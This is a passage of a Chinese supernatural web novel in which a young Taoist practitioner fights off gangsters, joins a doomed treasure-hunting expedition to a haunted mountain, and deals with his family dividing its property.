“老幺,你是不是早就算出来了?”我爹有些沉默,毕竟这对于老冯家来说不是什么光彩的事。
随后他看向了我,应该是想到了那天我说的话。神色有些复杂,又有些感到不可思议。
……
第十二章我原来这样紫猛
我其实挺理解我爹心情的,我确实不傻了,但成了个神棍,他能不上火吗?我点了点头,心里也有点乱,要不要把我二哥的事跟我爹说一声呢?三婶头上五彩缤纷,我那二哥头上也不遑多让。
像我们这样的正经人家,出了这档子事还真是难以接受,别到时候把我爹气个好歹。但想了想,我觉得还是算了。有些事要顺其自然。
“爸,我三叔家的事,你跟我娘还是别掺和了。我有些话不中听,但还是得说,我三叔的那三个孩子,都未必是他的。”我这话可不是随便说说的,三叔家的几个孩子我都看过,他们跟三叔长的是一丁点都不像。甚至三个孩子,都没有相似之处。
其中老大倒是像我三叔他们家村长,老二像我们这边的一个街坊,老三嘛,有点像之前上山看猪的一个老板。
三个孩子三个样,还都有迹可循。
我爹手里的饭碗都拿不稳了,砰的一下站了起来,死死盯着我,眼睛里直冒火气,“你,你说什么!”
我摇头,“爸,我三叔家的事很复杂,你虽然是大哥,但这种费力不讨好的事,我觉得还是不要做。”
我娘惊讶地看着我,显然出乎意料我能说出这些话,她也点头,“孩子他爹,老幺说得没错。你说,咱们是出钱呢?还是出力呢?去了,还不是把事闹大。你说,咱们家老大跑摩的,也没啥钱,老二还吊儿郎当的,自己家破烂事还一大堆呢。”
我和我娘之所以这样劝他,是因为知道我爹看着外表冷,其实是个热心肠。不给他打个预防针,保不准他就去帮忙了。到时候一上头,又惹一身骚。
闻言,我爹还真冷静了下来,他拿出了一支烟点上,拿着烟的手挠了挠眉毛,一下子像是老了十岁“我知道了。下岗都一个多月了,我也不能再闲着了,我找了个看大门的活,一个月四十五,供吃供住。”
我看了我爹一眼,他在说这些话的时候眼神闪躲,似乎有些不好意思,又有些复杂的情绪在里面。毕竟曾经是有铁饭碗的工人,一下子去给人看大门,落差感还是有的。
说完这些话他就出门了。
“老幺啊,俺也找了个活,给酒店当洗碗工,一个月也四十多。这段时间回家就少了,你照顾好自己。”
我娘的话把我拉回了现实,我想说我有钱,但话到嘴边又没说出口,我给了我爹两万块,他们能不知道我有钱吗?
我爹娘去打杂工了,家里就剩下了我,我继续看书,偶尔研究羊皮纸,或是研究那个铃铛。结果嘛,一无所获。
又过了两天,天气更冷了,天空突然飘起了雪花,零零散散的,我找出了以往的衣服,结果发现都小了,衣服穿在身上跟缩水了似的,裤子也是像九分裤。
这些衣服裤子,都是我捡我大哥大姐剩下的,那年头都这样,常说老幺被疼爱被喜欢,因为父母年纪大了喜欢小的。其实在东北这边,老幺是最被无视的孩子。父母都忙,吃的顾不上,穿的都是捡哥哥姐姐的。
如今有钱了,我准备出去买些衣服,顺便给我爹我娘也买几件。结果,还没等出门呢,呼啦一下子,院子里冲进来八九个人。
一个个人高马大的。
而在其中我看到了一个熟人,就是那个大黄牙,正被两个壮汉押着。同被压着的还有一个人,瘦不拉几的,贼眉鼠眼,此刻被打得已经没了人样。
“你们是谁?”我皱了皱眉头。
“那羊皮纸被你买走了?”说话的人是个络腮胡,有一米九的个头,非常的壮实,他手里面拎着一把开山刀指着我。
“疤哥,就是他买走的。”大黄牙也被打了,脸上全是血,他看向了其中的一个脸上有疤的中年人,战战兢兢。
“敢动我疤哥的东西,先把手砍了,给点教训。”疤哥给那络腮胡一个眼神。
“疤哥,疤哥,他就是个孩子,您放了他吧。”大黄牙良心发现。
“那砍你的?”疤哥冷冷说道。
大黄牙不吱声了。
络腮胡眼神锋利,拿刀逼近,在他的身上,我感受到了一股杀气,这家伙肯定杀过人。
修道这么久了,我还是第一次跟人发生冲突,何况还是这种道上混的狠人。
但我心里很清楚,这些家伙没人性的,就算我求饶道歉交出羊皮纸都不会被放过。唯一庆幸的是我家里人不在。
“找死。”我冷静,在络腮胡逼近,引动体内的道力,一个飞踢踹了上去。
一来是我的速度太快了,二来是络腮胡压根没把我放在眼里,一点反应都没有,直接被我踹飞在了墙上,发出了‘砰’的闷响声。
场面有些安静,在场的人如同机械,同步扭头看向那络腮胡。他被踹成了折叠状,以腹部为轴,上半身和下半身折在一起。
人没死,但跟死了感觉差不多,连大气都不敢喘,疼得额头上全是汗。
非常时刻,我顾不上惊讶,脚下用力,踩着的那块砖碎裂,先发制人,一个箭步冲上最近一人,一把抓住那人头发砸在墙上。
那人脑袋像是瘪了一下,然后昏死在地上。接着一个又一个,连押着大黄牙和那瘦猴子的人都被我解决了,这才不紧不慢地走到了疤哥面前。
疤哥看我的眼神变了又变,原本一脸的轻松不在意,眼下却在那狠狠地咽着吐沫,身子也笔挺了些,“兄弟,我是城南梦巴黎舞厅的疤哥,你们偷了我的东西,你看,你把羊皮纸给我,咱们化干戈为玉帛行不行?”
我摇了摇头没说话,我不想解释,因为已经动了手,没必要解释。今天就是我,要是我爹和我娘,或是我大哥他们,这些人会解释吗?不会。
“兄弟,江湖上有句话,得饶人处且饶人。而且那羊皮纸是郭毅少爷的东西,你不交出来,那就是把天捅破了。会死人的。”疤哥有些紧张地盯着我,拿背后的人震慑我。
听到‘郭毅’两个字,那瘦猴子和大黄牙脸色苍白,大黄牙颤颤巍巍,“兄弟,把羊皮纸给疤哥吧,我到时候把,把钱给你,我不想死。”
“是啊,兄弟,求你了,别跟郭少作对,我手欠,是我傻比,不该动佛子的东西。我该死,求你了,别动手。”瘦猴子哆哆嗦嗦,被吓得不轻。
“知道是佛子的东西,还不……”疤哥见两人吓得够呛,脸上也不由得意。
“既然是郭毅的东西,那就好办了,你把他叫来,让他来处理这件事。”
我没让他把话说完,咔嚓一声,直接扭断了他的手臂。
……
第十三章真正的五位仙家
疤哥吃疼,龇牙咧嘴,但不愧是道上混的,被我扭断了胳膊都满头大汗了,一声没坑。
他显然也意识到了这件事不能善终,放了句狠话,“好,兄弟,你硬气。等佛子来了,希望你也能这样硬!”
说完掏出了大哥大开始打电话。这年月的大哥大可是稀罕物,一部少说两万,有钱还未必买得到。而能有这东西的人,身份都不简单。
对于郭毅为什么叫‘佛子’,这个我并不清楚,眼下,我也没什么兴趣。而随着疤哥的这道电话,院子里突然都安静了。
那大黄牙,还有那个瘦不拉几的,两人一屁股摊在地上,带死不活。
大约过了二十多分钟,院子外传来了窸窸窣窣的脚步,听上去应该来了不少人。果然,随后郭毅就带人闯了进来,我看了一眼,带了大约十来个人。
但比起疤哥带的人,郭毅带的这十几号人,个个凶神恶煞,眼神犀利,看上去最少都背负认命那种,非常的狠辣。
“冯大师?”郭毅开门就见到了我,直接无视了迎面走上去的疤哥,径直朝我走了过来,眼神惊讶,态度尊敬。
“郭少爷,你这是什么意思?让人上门砍我?威胁我?”我不满道。
“啊,冯大师,误会,真是误会。”郭毅紧张地看着我,眼神忌惮。
“是吗?”我冷冷说道。
“刀疤,到底特么怎么回事?我让你找个东西,怎么特么找到冯大师家里来了?你特么要是不给我个解释,你也不用活了。”郭毅脸色阴沉地怒视刀疤。
见到郭毅对我的尊敬态度,院子里的人都有些傻眼了,那些凶神恶煞的打手面面相觑,大黄牙和瘦不拉几也是相互震惊,刀疤呢?眼神非常清澈,一脸的不可置信。
听到郭毅冲他发火,这才颤颤巍巍地把事情叙述了一遍。
结果郭毅听了却皱眉,“不就一份文献嘛,冯大师喜欢,直接给冯大师就行了。刀疤,冯大师是我郭毅的大恩人,以后你们尊敬他,就像尊敬我和我爹一样,听懂了吗?”
刀疤有些傻眼了,连连点头,连大气都不敢喘,“记住了,记住了。”
见刀疤表了态,郭毅又看向我,“大师,误会,真是误会。你看,要我怎么赔,我郭毅要是还嘴,那都是对您的不尊敬。”
郭毅的话都说到这个份上了,我还能说什么,只是冷漠的开口,“既然郭少爷都这样说了,我也不好在追究下去。赔倒是不用,没损失什么。就这样吧。”
郭毅冷冷瞥了一眼刀疤,“还不谢谢冯大师。”
刀疤急忙鞠躬,“谢谢冯大师。”
随后,见郭毅使了个眼色,刀疤和郭毅带来的人,把那些倒在地上的打手都带了出去,而他自己倒是没有走的意思。
“有事?”我平静道。
郭毅点了点头,“大师,我想求您带我去个地方,护我平安。事成之后,二十万。”
“老阴山?”上次这郭毅就支支吾吾的,我总觉得他没说什么实话。但我当时就是想着骗那铃铛,所以也没当回事。
再次见到郭毅,我有种预感,甚至还有些不安,老阴山的事恐怕没那么简单。
郭毅点了点头,瞥了一眼瘫在地上的大黄牙两人,那阴毒的眼神,吓得两个人差点没昏过去。
“里面说吧。”自从修了道,我对因果这玩意很敏感,我总觉得十岁那年的因,种的是当下的果。事实证明,我不愿意想起当年发生的事,却总会被各种提醒。
而郭毅的出现,是说明了这一点。是福是祸都躲不过,倒不如听听郭毅能说出点什么对我有用的东西。
来者是客,我沏了壶茶,猴王花茶,我们这些寻常人家都喝这个,我也喜欢喝。
郭毅客客气气地接在手里,以他的条件,肯定喝过更好的茶,但还是认真地品了。
“说吧,到底怎么回事。”我直奔主题。
“冯大师,您应该知道东北五仙家吧?”郭毅反问我。
“狐黄白柳灰,五位仙家,说是有着神通法力。”我奇怪。对于东北五仙家,我没见过,所以并不太信任他们的存在。而郭毅突然提起这个人人皆知的事,肯定没那么简单。
闻言,郭毅却笑了笑,“冯大师,那都是世人的说法,以您的本事,行走江湖有见过这些东西吗?”
我摇头,心里还有些说不出的滋味。人家把我当大师,其实我才十八,入道也就一个来月。
但我也不能把实情说出去,因为现在说了人家也不会信。何况,我早就已经打算好了,我的秘密,这辈子都是秘密,连亲爹亲娘都不能讲。
郭毅正襟危坐,“冯大师,狐黄白柳灰,除了狐是狐仙之外,黄是一个落魄道门,白是守村人,柳是想化龙的蛟,而灰则是财神。准确点地说,是一仙与四人,也可以是一仙家与四道统。”
听到这里,我也来了兴趣,“也就是说,世人供奉的仙家,其实供奉的是人?”
郭毅点头,“是这样的。”
随后我脑子里突然有了一个想法,我突然就能理解了这个概念,我说,“五仙家,其实是吃香火的道门?”
想到这些,我竟然有些毛骨悚然,所谓的吃香火,是一种‘愿’力。而被供奉的人,因为这种力量会得到庇佑。
在我们方士的说法里,这东西‘损人利己’,说白了就是拿别人的运气为己用。
郭毅点了点头,“冯大师,灰仙家做的是寻福地探宝的生意,也叫做偷油,所以被叫做财神。而我,就是灰仙家的后人。因为我修的是佛性,所以被叫做佛子。”
闻言,我真想翻个白眼,偷东西就说偷东西,非要冠冕堂皇的。虽然我这样想,但并没有小看这一脉,能吃上‘愿’力,虽说不是仙,但也差不多了。
郭毅看不出有什么本事,但他背后的人,那就不一定了。
“老阴山呢?”我问。
其实我还有一点有些好奇,这郭毅居然是灰仙家一脉,那怎么连大马猴都看不出来?但我没问,因为我觉得没必要。
“文献上记载,那里面有东西,应该是活了千年的东西。我想要它点血,但谁知道门都没找到,上次就被山魈给撂那了。”
……
第十四章故地重游又出事
他在说这件事的时候眼神后怕,端起茶喝了口一口,又补充,“大师,我是带人来的,不用您出手,只想着你护我周全。二十万,不,三十万,成吗?”
我瞥了郭毅一眼,他先说了五仙家的事,又提到了自家的身份,之后又说了文献。
但很明显,他还是有所隐瞒。不过,我也没去揭穿,老阴山我早晚要走一趟,既然郭毅组织了队伍,那也省了我的麻烦,我倒要看看,这背后到底藏着个什么东西。
我也想看看,郭毅这个灰仙家后人,能折腾出什么花来。
我一口答应了下来,郭毅有些惊喜,然后就跟我约定了好明天上午八点开车来接我。
郭毅走之后,我才想起来院子里还有俩‘人物’,而这祸端,也都是因为这两人而起。但看到两人那可怜样也没为难,让他们走了。
到了第二天,郭毅很准时,两辆白色金杯面包车停在了我家门口。我上了郭毅那辆直奔老阴山。
故地重游,哪怕时隔八年,但在下车后,看到老阴山熟悉的草草木木,仍然心有余悸。
八年了,变化不大,随处可见的野坟,因为眼看要入冬了,那树木光秃秃的,感官上阴阴沉沉。
其他几人也都下车了,我们这总共来了十七个人,十个彪形大汉,背着行囊,戴着墨镜,这几个或是司机,或是打手。
然后就是我,郭毅,还有比较特殊的三男两女。这三个男的都是南方人,他们一路上叽叽咕咕的,我也听不懂说啥。而这俩女人一个帝都人,另一个是东北沈城的。我能感受到,这五个人都不是什么善茬。
特别是那个沈城女的,身上被一种气息包裹,我竟然看不到她的气运。
“靠谱不?看着土里土气的,像个土包子。浑身上下,都不到十块钱吧?你找他来干啥的?”帝都那女人下车就把郭毅拉到了一边,她的声音不大,但所有人都能听得清楚。
而其他人的目光,也都放在了我身上,明显也很奇怪。
“玫瑰,我警告过你,我找的人,不是给你们打洞用的,跟你们没关系,别在这瞎特么问。”郭毅皱了皱眉头。
“哼,你们这些老鼠还真是硬气呢,说你是佛子,你就是佛了?行,我不问,我也警告你,里面那东西邪性着呢,他别到时候添乱。”这个叫玫瑰的女人也不怕郭毅,顶了一句,主动走在最前面。
郭毅脸色不是很好看,他走到我身边,挤出了一丝比哭还难看的笑,“大师,您别放在心上,她就这脾气。”
我点了点头,我的任务就是保护郭毅,至于别人说什么,我并不在意。
我们一行人进了山,以前进老阴山都是奔着鱼和野菜去的,也没注意下四周的景色。但这次不一样,我一直在观察四周的情况。
随后,我眯了眯眼睛,他们选的这条路,不正是我当年去摸鱼的那一条路吗?果然,等到了目的地,我突然觉得毛骨悚然。
居然就是我出事的那条河。
“依山傍水,连绵不绝,横看成岭,侧看成峰,佛子说得没错,这果然是一条真龙脉,实在太不可思议了。”三个男人当中,一个老学究打扮的中年人叼着个烟斗,震惊的说道。
“传言,朱皇派刘斩了东北所有的龙脉,按理来说,只有一条幸免才对。结果,还有一条更大的。你看那天上,明明晌午,却有彩云。这是一条成了气候的龙。”另一个人约莫四十来岁,一脸的连毛胡子,他指着天空,我也顺势看了过去,果然有些氤氲之气。
“两位,这次能出油?”郭毅走了过去。
“不好说。这阴山巴掌大的地方,却山意连绵,这是龙脉没错,但它是一条藏拙的龙脉。身子在土下,我要是没看错,这里是它的头,而整个阴山,只是它眼睛以上的部分。八卦所言,山困风,则风顺。水长流,则水灵。这里风调,但这水,没有源头,问题很大。”那老学究摇了摇头,眼神中带有忌惮之色。
闻言,大家都是一阵沉默,显然这老学究的话,泼了一盆冷水。
倒是我,涨了很大的见识。这段时间以来,我对风水面向也有了了解,据我所知龙脉为江河湖海,高山远岭,但藏在地下的,还是头一次听说。
“那还动不动手了?闹出这么大的阵仗,别说白来一趟?”玫瑰不耐烦道。
我以为是佛子带队,但现在看来并不是,大家主要看的是两个人,就是刚才说话的老学究和连毛胡子。
两人相视一眼,老学究和连毛胡像是下定了某个决心,同时点头,异口同声,“动。”
说完,两人一南一北,每走一个位置,就安排一个人,那十个人,很快在林子里,河岸边,都安排好了位置。
我一开始还好奇呢,这十个人在干嘛,结果等我仔细地看了其中一个人的操作,我愣住了。他们竟然在那埋炸药。
随后,那十个埋炸药地留在了山里,那个帝都的玫瑰充当指挥也留下了。而老学究带着我们退到了安全地带,等人都出来以后,他在对讲机里喊了一声‘炸’。
就听到老阴山里面‘轰’的一声,如同打雷似的。
紧接着就听到对讲机里喊,“邪门,太特么邪门了,出事了,出事了。”
“怎么回事?”老学究急忙问道。
“出血了,全是血,止都止不止,像是炸了个喷井。”对讲机里传来了一个声音。
“什么?”老学究脸色当场就白了。
“我这边也是,但没喷,血一滩一滩的,河被炸开了,那河深处有东西,我,我好想看到了一只脚,被铁链子锁着,脚上,脚上穿了绣花鞋?”有人声音颤抖,似乎很不确认看到发生的事。
老学究看向连毛胡子,连毛胡子也是呆愣愣的,朝着老学究摇了摇头,显然,这种状况已经超乎了他们的意料。
听上去很惊悚。
“其他人呢?”老学究急忙问。
结果,对讲机里此滋滋啦啦的没有动静,他又问,连刚才说话的那些人都没了动静。
“不好,出事了。”老学究拍了下大腿,事情似乎严重了。
“安然,安然……”他们的规矩我也懂了,这种事都称呼外号,或是干脆什么也不叫,结果,那连毛胡子突然急了,叫起了那帝都玫瑰的名字。
但喊了半天没有动静,这下子除了我,在场的人都急了。哪怕他们很恐惧,也都急忙朝着炸点那边返去。
大约七八分钟,等到了地方,大家都不约而同地停了脚步,面面相觑。
……
第十五章山神山尸大恐怖
老阴山被炸得破烂不堪,河流改道,看上去一片狼藉,但并没有看到对讲机里说的四处是血的场景。
不过有一点是真的,郭毅带来的人都不知了去向。四周空旷,静得可怕。
“快去找玫瑰。”老学究倒是比连毛胡冷静,叫的还是外号。
郭毅点了点头,跟其他几个人眼神交流,然后就去找人了。
因为我要保护郭毅,所以我跟在他身后,但不知道怎么的,我总觉得有人在盯着我们,准确的说是盯着我。
那感觉毛骨悚然,让我想起了当初被夺舍的情景。
“冯大师,你是不是发现了什么?”郭毅嗅觉敏锐。
我抬头看他,他看上去很紧张。
“我总觉得,有人在盯着我们。”说完,那感觉又来了,我猛地朝着南边看去。
下一秒钟,我毛骨悚然,在大约十米开外的一棵老槐树下,一个身穿血红连衣裙的小姑娘站在那。
她!
没有眼睛!
轰!
我头皮发麻。
但紧接着,那东西不见了。
“大师,怎么了,你别吓我。”郭毅脸色发白。
我回过神,说实话,我也被吓到了,我能感觉到,那东西不是现在的我能对付的。那消失的十个人,肯定跟它有关系。
“绣花鞋,绣花鞋。”我浑身发凉,突然想到了一个细节,对讲机里说见到了绣花鞋。而刚才那双眼如黑洞的小姑娘,脚上就是一双绣花鞋。
“大师,你,你没事吧?你说你见到了绣花鞋。你,别吓我啊,我现在头皮止不住的发麻。”郭毅的脸色要多难看有多难看。
“郭少爷,你要是信我的,抓紧走,那东西不是我能对付的。我怀疑……它吃人。晚了,一个都走不了。”我还是有职业操守的,虽然心有余悸,但还是把直觉说了出来。
“这……那两位堂主都下令开山了,不拿油,那不浪费……”其实说到现在,我也不知道他们口中的油是什么。
直到后来我才搞明白了,倒斗的拿的是金银财,但相对而言还算有底线,一般不会动尸体,甚至会三拜九叩,心存敬畏。
而打洞偷油偷的是宝,老鼠们仗着愿力,居高临下,没有半点敬畏。但凡是宝,哪怕是尸体,他们都会毫不吝啬地一锅端。这也就是为什么灰大仙被寓意财神的原因。
因为毫无底线的发财!
但偷油一般偷的是洞天福地,偶尔也会倒斗,今天这情况,应该是个例外。很明显,他们确实找到了洞天福地,但却根本不知道里面是什么情况。
看到郭毅脸色铁青,我淡淡,“郭少爷,我丑话说在前面,那东西很恐怖,我只能尽量护你周全。要是护不住,别怪我。”
郭毅盯着我,咬了咬牙,最终点了点头。由此可见,那所谓的血,对他的诱惑力太大了,在生死面前选择了贪婪。
我也没在说话,贴身跟在身后,而那种被盯着的感觉还在,但从始至终,我再也没看到那红衣东西。
“找到了,找到了。”也不知道谁喊了一句,我们几个急忙跟了上去,果然,在坟圈子那看到了昏死的玫瑰。
郭毅急忙上前,用力地把她摇醒了。
“玫瑰,到底怎么回事?其他人呢?”老学究赶了过来,他那张脸极为严肃。
“我,我,我也不记得了,你不是让他们挖洞嘛,我在一旁盯着。等检查没错后,我就跑到这边了。然后我就被绊倒晕了过去。”玫瑰用力地敲了敲脑袋。
几人都有些无语,而整个队伍的气氛,一时间也非常的紧张。
“你,你……背,背后。”那东北女人突然脸色煞白,没有一点血色,她指着老学究的背后。
“我背后怎么了。”老学究狠狠地咽了口吐沫。
几人也都看了过去,但佛子和另外几个人都摇头说啥也没看见。但他们的表情,却越来越紧张了。很显然,他们非常相信这东北女人的话。
此时此刻,所有人都被这东北女人的一指,吓得腿肚子扭筋,一动不动。他们都是偷油的,自然知道对方肯定是看到了什么东西。
比起倒斗遇到东西,这大白天能看到的东西,那就恐怖了。
倒是我胆子大了些,顺着手指看去,猛地把眼睛睁大了,是那个红衣东西,她的一只手已经搭在了老学究的眼睛上了。
然而,那老学究却没有察觉。
我明白了,这东西貌似就我跟这东北女人能看到。
“艹!”
我心里发毛啊,偷油?偷尼玛的油,这玩意太特么瘆得慌了。我本能地抓起郭毅的胳膊,本着能救一个是一个的原则,一把拉着最近的东北女人,三两步就窜出十米远。
再然后,身后突然传来了惨叫声,惊得那家雀满天飞,我也不敢回头,一路磕磕碰碰的回到了车那,这才安心了不少。
“完了,完了。都没动静了。”郭毅手里攥着对讲机,他反复地问着话,里面却没有动静。
而那东北女人直接瘫在了那,过了好久,她才大口的喘着粗气看向我,“谢谢,谢谢。”
很显然,她心里清楚,要不是我,她肯定跟那些人一样,出不来了。
“你是不是早就知道有这种东西?还是说,你们都知道?”我不满意地看向郭毅,但凡刚才我犹豫一秒,我都得被扒层皮。
“郭毅,你没跟他说嘛?”倒是那东北女人愣了愣。
“我,我,这个……”郭毅支支吾吾。
“艹,狗币东西,尼玛的这不是在害人吗?”女人怒火。
我听得更云里雾里了,不等我问,那女人说,“谢谢你救了我,那玩意是山神,我们业界内叫山尸,文献说是个小东西,还被困了,所以我们想试试,也是第一次碰到。但,没想到夭折了。”
女人用力地吸了口气,又吐出了来,似乎对刚才的事仍然心有余悸,但却又能接受。
倒是胆子很大。
“山尸?”我毛骨悚然,脑子里有这东西,那是连方士最忌惮的大恐怖。
我有一种感觉,惹上大麻烦了。
“山尸身上全是宝,它的洞天福地,吸上一口气,赶上三年愿力了。有一家科研团队需要山尸血液雇佣我寻地方,我通过寻龙脉的法子,找到了老阴山。刚才那个老学究,还有连毛胡子,都是团队的人。估计,活不成了。”郭毅冷漠地看向阴山深处,心有不甘。
他转头又看向我,“大师,我没想过害你,我也第一次碰到这玩意,文献,出了问题。”
很显然,他并没有因为害死人而愧疚,倒是对我的道歉,显得很诚恳。
但我不为所动。
“我的事办完了,我要走了。”我也朝着老阴山深处看了一眼,有些毛骨悚然,但我总觉得还得来一趟。但短时间内恐怕不会来了。
那玩意,太恐怖了。
至于他们说的山神,也就是山尸,我又觉得哪里不对劲儿。但又说不上来。而在后来事实证明,我感觉是对的,这玩意,太邪性了,太诡异。
……
第十六章来自我二哥的贪
见我要走,郭毅叫了我一声,紧接着在车里拿出了三十万现金递给了我。
我也没说话,收好钱就走了。倒是郭毅,他拿出大哥大打了个电话,这次没有再拦着我,而那东北女人也留下了。
至于是不是再进老阴山,我管不着。拿什么钱,办什么事。俗话说得好,好话拦不住该死的鬼,他们要是还想进去,那就去死好了。
因为这件事,我回家两三天都没出门,在家里一个劲的看书,修炼。而比起那羊皮纸,我现在对这铃铛更感兴趣。
这玩意似乎很不凡,但具体哪里不平凡,我也说不出来。总之一直折腾了,却没有动静。
而在这两天,我在真言上有所突破,学会了一个‘行’字。‘行’字与‘道’字不同,不需要结印,而是有着一套步法。
一开始我还只是能临摹那步法,但越往后越熟练,渐渐地,我竟然适应了。
一步如临空,竟有五米远。
而我深知,这步法还没有达到极限,我猜测,大成能一步十米远。
对于步法和‘行’字真言小有所成,我并没有像一开始修炼那样激动,反而内心非常的平静。自从遇到了那个红衣东西,我对实力有着巨大的渴望。
我要变强,一丁点的甜头,远远不够。
我在院门口看书,我二哥突然回来了,见我就问,“爹呢?”
我说,“去厂子看大门了。没在家。”
这段时间以来,大哥倒是总回来,但因为他骑摩的,有时候一干就到了后半夜,所以我们也见不到面。
而二哥呢,自从上次跟我爹吵了一架,这还是第一次回来。他穿了个牛仔裤,短袖外套了个褐色的皮夹克,顶着个鸡窝头,夹着个包,腿在那个一个劲地抖。
那股嘚瑟劲,真的从骨头里到穿着。
二哥指使,“去,把爹找回来,我有事。”
我说,“我不知道爹在哪上班,大哥应该知道。”
从小到大,我二哥指使我都习惯了,哪怕我‘傻子’那八年,他都是这副态度。说实话,我很不爽。虽然是亲兄弟,但他对我并不好,我能理他,已经是耐着性子了。
我二哥上去推了我一把,但没推动,他不满,“我让你去你就去,哪来的这么多废话?怎么着,不是傻子了,就敢跟我对着干!信不信我揍你。”
我没理会,我二哥更来劲了,抬手就要扇我,我拧了拧眉头,也准备动手。
“老二?”结果大哥和我爹一起回来了。
“嗯。”二哥瞪了我一眼,又看了大哥和我爹,这才放手进院子了。
“老幺,你也进来吧,有事。”我爹也叫了我一声。
大厅里,我二哥四仰八叉地坐在沙发上翘着二郎腿,我爹虽然看不惯,但也没说话,点了一支烟,坐在了椅子上。
我则是挨着大哥,坐在我爹一侧。
“既然老二也回来了,那我就说了,分家。”
听了我爹的话,我也就明白我爹跟大哥为啥一起回来了,原来是这事。
我看了一眼我二哥,他很惊讶,但不难看出,他眼神里更多的是惊喜。
我爹也看出来了二哥的反应,他表情有些复杂,但很快又恢复了正常。
“爸,我先表态,我不想分家,身为长子,我得留在家里照顾你跟娘。”我大哥这人憨厚,对家里人都很好,他这是真心话。
“呵,大哥,从小到大就你会说话,爸妈都喜欢你。不像我做点事都不行。”二哥阴阳怪气。
“行了,别说废话,你分还是不分?”我爹瞥了二哥一眼。
“分,当然分,我这次回来就是来分家的。”我二哥撇嘴道。
“好,我这手里有一万六,是我跟你娘这些年攒下来的。我留一千,一万五你们哥三一人五千。”我爹说完就拿出了纸要立字据。
“爸,不对吧?我听我妈说,可不止一万六呢。再说了,分家,是不是连房子也要算上啊。再不值钱也得算上啊。咱们家这房子少说也能卖两千吧?”我二哥矫情道。
“这房子是以前村里批给我的,你也想分走?”我爹有些生气了。
“爸,亲父子明算账。我这是为你好,分家以后咱们算得清楚了,省得我找后账。再说了,老幺才这个岁数他也想分钱?不合适吧。既然我大哥跟你们住,那就不算分家,是不是?”我二哥撇嘴。
我爹沉默了,半天没说话。我知道他怎么想的,其实他已经很公平了,却没想到我二哥是个白眼狼。
“老二,你,你在那胡说什么呢,亲兄弟,一家人,你这是在分家吗?你这是在惹咱爹不好受,你……”我大哥也生气了。
二哥却打断,“大哥,你知道什么啊,咱爹手里可不是一万六,咱妈电话里都跟我说了,咱爹额外还有两万呢。呵呵,说是没拿到厂子补偿,其实就是不想告诉咱们兄弟俩,把好处都给老三!”
我大哥愣了愣。
我爹攥紧拳头,出奇的事,他这次居然没发脾气,反而一脸的平静,“那钱不是我的,是老三赚来的,我给他留着娶媳妇的,不能动。”
我二哥晃动二郎腿,“爹,您都一把年纪了,怎么还学会自欺欺人了呢。老三?那是个傻子,他赚两万?是我疯了,还是你疯了。我不管,我要两万五,拿了这钱,我从今往后再跟家里要一分钱,我冯涛猪狗不如。”
从我二哥叫我傻子的那一刻,我爹的脸色瞬间铁青,但他仍然忍着没有发作,而是看向了我。
我二哥眼神奇怪,“爹,您不是在开玩笑吧,分家看老幺的脸色?他算个什么东西。”
连大哥也都意外了。
“爸,给二哥吧,我还有钱。别因为这点钱你闹心。”我懒得再这种事上计较,而我也不想我爹烦心。再者说才两万块,我屋里面还有三十几万呢。
何况我于钱上并不在意。
“好,老二,两万五就两万五。这是分家的字据,你签字吧,我给你拿钱。”我爹说完就进屋取钱了。
“咱爹这是咋了?真就信了老幺?呵呵,那感情好啊,我签字,我签字。”我二哥生怕我爹会反悔立马就签了字。
等我爹出来,他把那两沓钱揣兜里就要走。但紧接着却被我爹给叫住了,我二哥紧张,“爹,你可不能后悔啊!”
我爹摇了摇头,“老二,你拿了你弟弟的钱,那就等于断了你跟你弟弟的关系,你会后悔的。现在改回来,只拿那五千,还来得及。”
我大哥二哥或许没懂我爹话中的意思,但我却听懂了,我爹这是下狠了。我二哥踏出这家门,我这个弟弟,再也就不亲了。
我二哥却笑道,“爹,你还真是老糊涂了,老幺算什么东西?一个傻子正常了两天,他就能成孙猴子了?不认我就不认我,我还怕他粘上我呢。”
说完这话,我二哥头也不回地走了。
我皱了皱眉头,再怎么说,我们也是亲兄弟,这话说得属实难听了。而也因此,在我心里对二哥的认识更深刻了。
而二哥的做法对我而言不是什么坏事,以后他出了事,也不用拿亲情道德绑架我。
我爹收好了字据,大哥想着要去跑摩的。我起身叫住了他,在大哥疑惑的目光中走回了卧室,随后取出了十万块放在了他面前。
我爹跟大哥人傻了,指了指钱,又指了指我,那震惊的眼神不亚于发现了新大陆。
“十万,爹娘五万,大哥你五万。但大哥,你可要兑现承诺啊,以后照顾咱爹咱娘。”我大大咧咧。
说实话,别说五万了,给大哥十万我也不心疼。从小到大,大哥二姐对我照顾,他们有什么好吃的都先给我。而在做傻子的那八年,他们从来没有骂我一句傻子,依旧是弟弟老幺的那样叫着。
这份恩情,在我心里不是金钱能换来的。所以趁着这个机会,算是回报了。当然,我也有私心,我早晚要离开,爹娘大哥照顾我也放心。
“老幺……”大哥虽然震惊,但眼神清澈,没有半点贪婪。
对于我突然拿出这么多钱,我爹倒是习惯了,见我大哥要推辞,他说,“老大,你不是要开个店嘛,这钱正好拿去开店。以后你赚大钱了,别忘了老幺的好就是了。”
……
第十七章好事发生坏事来
见爹都说话了,我大哥就把钱收了。他看了眼门外,情绪有些复杂,“老幺,你真有本事,大哥欠你个人情。哎,老二啊,从小到大就干这种丢西瓜捡芝麻的事。老幺,你也别记恨你二哥,血浓于水。”
大哥说完这话,我爹看向了我,我明白他们是不希望我真对二哥有意见。但我也有脾气,“爹,大哥,再亲的人,也分个远近。就这样吧。”
我爹和大哥眼神里夹杂着复杂的情绪,但最后也都点了点头,没继续说什么。毕竟,是我二哥有错在先。
如今我还剩下二十几万,但我穿得还破破烂烂的,有点说不过去。而且眼看就要入冬了,东北黑城这边最冷的时候零下四十多度,我也需要添些过冬的衣服。
下午我去了商贸城,它是整个黑城的贸易中心,本着对自己好一点的理念,我专门挑贵的买。加绒的牛仔裤,保暖内衣,高领的蓝色毛衣,过冬的运动鞋,还有羽绒服等等。
买完衣服,我没急着穿上,又去理发店理了发,刮了胡子,又跑了一趟澡堂子搓了个澡,这才把衣服换上了。
都说人靠衣裳马靠鞍,这件事在我身上体现得淋漓尽致,我虽然长相俊朗,个子也高,但在这之前,都是一副胡子拉碴的形象。
等我换上这一套行头,往镜子前一站,连我自己都诧异了。帅气,散发着清香的帅气。
扭了扭身子,那黑色的羽绒服,硬是被我穿出了模特的视角。而很快,我的这一身就吸引了澡堂子里不少人。都问我这是什么棉袄,多少钱。
这年头,东北这边最流行的还是军大衣,因为暖和,基本都没见过羽绒服。
